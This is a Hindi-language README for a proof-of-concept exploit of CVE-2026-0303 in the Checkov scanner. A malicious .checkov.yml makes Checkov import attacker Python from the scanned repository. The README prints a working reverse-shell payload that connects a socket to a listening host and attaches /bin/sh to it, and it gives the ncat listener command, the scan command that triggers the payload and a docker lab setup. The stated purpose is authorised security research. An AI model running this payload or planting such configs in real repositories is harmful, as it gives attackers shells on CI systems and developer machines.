
Checkov PoC: ऑटो-लोडेड कॉन्फ़िगरेशन और अहस्ताक्षरित बाहरी Python चेक के माध्यम से मनमाना कोड निष्पादन।
CVE: CVE-2026-0303 | CVSS बेस: 6.3 | गंभीरता: निम्न
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:H/SI:H/SA:H
CVE-2026-0303 - Checkov में मनमाना कोड निष्पादन भेद्यता।
Palo Alto Networks द्वारा 9 सितंबर, 2026 को प्रकाशित।
प्रभावित संस्करण: Checkov 3.2.0 से 3.2.531 तक
ठीक किया गया संस्करण: Checkov 3.2.532
स्वतः-लोड होने वाली .checkov.yml फ़ाइल के माध्यम से Checkov में मनमाना कोड निष्पादन
-> अहस्ताक्षरित बाहरी कस्टम चेक के माध्यम से हमलावर-नियंत्रित Python का निष्पादन।
https://github.com/user-attachments/assets/62af16bb-5b7f-4465-98b9-2d1836f5ee4f
Checkov बाहरी Python चेक का समर्थन करता है। ये चेक जानबूझकर Python मॉड्यूल के रूप में लोड किए जाते हैं, जिसका अर्थ है कि मॉड्यूल आयात के दौरान शीर्ष-स्तरीय Python कथन निष्पादित होते हैं।
जब Checkov किसी निर्देशिका को स्कैन करता है, तो यह स्वचालित रूप से उस निर्देशिका में .checkov.yml या .checkov.yaml कॉन्फ़िगरेशन फ़ाइल खोजता है, एक हमलावर-नियंत्रित कॉन्फ़िगरेशन फ़ाइल external-checks-dir को स्कैन किए गए रिपॉजिटरी के भीतर एक निर्देशिका पर सेट कर सकती है।
यह निम्नलिखित निष्पादन श्रृंखला बनाता है:
Victim scans an untrusted repository
->
Checkov automatically loads .checkov.yml
->
The configuration sets external-checks-dir
->
Checkov imports an attacker-controlled Python module
->
Top-level Python code executes with Checkov's privileges
हमलावर को Terraform पार्सर का शोषण करने या वैध Checkov नीति प्रदान करने की आवश्यकता नहीं है। कोड निष्पादन तब होता है जब Checkov Python फ़ाइल को आयात करता है।
यह विशेष रूप से उन CI पाइपलाइनों के लिए प्रासंगिक है जो स्वचालित रूप से पुल अनुरोधों या अन्य अविश्वसनीय रिपॉजिटरी सामग्री के विरुद्ध Checkov चलाती हैं।
लैब पेलोड Checkov कंटेनर से होस्ट पर एक श्रोता से कनेक्ट होता है:
def exploit():
lhost = "host.docker.internal"
lport = 4545
sock = socket.create_connection((lhost, lport))
for file_descriptor in (0, 1, 2):
os.dup2(sock.fileno(), file_descriptor)
subprocess.call(["/bin/sh", "-i"])
exploit()
exploit\external-checks\poc_check.py पर पेलोड संशोधित करें:
lhost = "127.0.0.1"
lport = 4444
होस्ट पर एक श्रोता प्रारंभ करें:
ncat -lvkp 4444
हमलावर-नियंत्रित निर्देशिका को स्कैन करके भेद्य व्यवहार को ट्रिगर करें:
checkov -d /workspace --framework terraform --skip-download
Checkov स्वचालित रूप से /workspace/.checkov.yml पढ़ता है, बाहरी चेक निर्देशिका की खोज करता है, और poc_check.py को आयात करता है। मॉड्यूल-स्तरीय exploit() कॉल निष्पादित होने पर श्रोता को शेल प्राप्त होना चाहिए।
मैंने एक सरल docker लैब प्रदान की है जिसे आप इसके माध्यम से सेटअप कर सकते हैं
docker compose up -d
और इसके शेल से इसके माध्यम से कनेक्ट करें
docker exec -it scan-server /bin/sh
यह रिपॉजिटरी CVE-2026-0303 के लिए एक स्वतंत्र प्रूफ ऑफ कॉन्सेप्ट शामिल करती है। भेद्यता को एक पृथक प्रयोगशाला वातावरण में पुनः बनाया और परीक्षण किया गया था।
यह परियोजना पूर्णतः अधिकृत सुरक्षा अनुसंधान, शिक्षा, और पृथक वातावरण में परीक्षण के लिए है। स्वामी की स्पष्ट अनुमति के बिना इसका उपयोग सिस्टम, नेटवर्क, रिपॉजिटरी, या डेटा के विरुद्ध न करें।
लेखक इस परियोजना को यथावत प्रदान करता है, किसी भी प्रकार की वारंटी के बिना, और इस सॉफ़्टवेयर या इसके व्युत्पन्नों के नुकसान, डेटा हानि, सेवा व्यवधान, अनधिकृत पहुँच, या दुरुपयोग के लिए कोई ज़िम्मेदारी स्वीकार नहीं करता है।